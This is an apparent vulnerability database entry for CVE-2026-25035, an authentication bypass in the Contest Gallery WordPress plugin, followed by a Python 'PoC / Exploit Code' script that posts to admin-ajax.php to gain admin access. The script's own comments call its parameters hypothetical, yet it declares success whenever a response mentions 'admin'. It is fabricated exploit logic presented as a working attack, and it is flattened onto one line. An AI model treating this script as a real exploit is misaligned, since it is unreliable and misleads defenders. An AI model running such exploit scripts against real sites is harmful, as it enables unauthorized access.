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CVE-2026-25035 CVSS 9.8 CRITICAL

CVE-2026-25035

Published: 2026-03-25 17:16:43
Last Modified: 2026-04-24 16:32:54

Description

Authentication Bypass Using an Alternate Path or Channel vulnerability in Wasiliy Strecker / ContestGallery developer Contest Gallery contest-gallery allows Authentication Abuse.This issue affects Contest Gallery: from n/a through <= 28.1.2.2.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Contest Gallery <= 28.1.2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 import requests def exploit(target_url): """ PoC for CVE-2026-25035 Authentication Bypass Note: This is a conceptual example demonstrating the bypass logic. """ # Target endpoint often vulnerable in WordPress plugins endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Payload simulating the alternate path request # The specific parameter 'cg_bypass' is hypothetical for demonstration data = { "action": "contest_gallery_pro_update", "method": "bypass_auth", "user_id": 1 # Targeting the admin user } headers = { "User-Agent": "CVE-2026-25035-Scanner", "Content-Type": "application/x-www-form-urlencoded" } try: print(f"[*] Sending exploit request to {endpoint}...") response = requests.post(endpoint, data=data, headers=headers, timeout=10) if response.status_code == 200 and "admin" in response.text.lower(): print("[+] Authentication bypass successful! Admin access gained.") else: print("[-] Exploit failed or target not vulnerable.") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://example.com" exploit(target)

References

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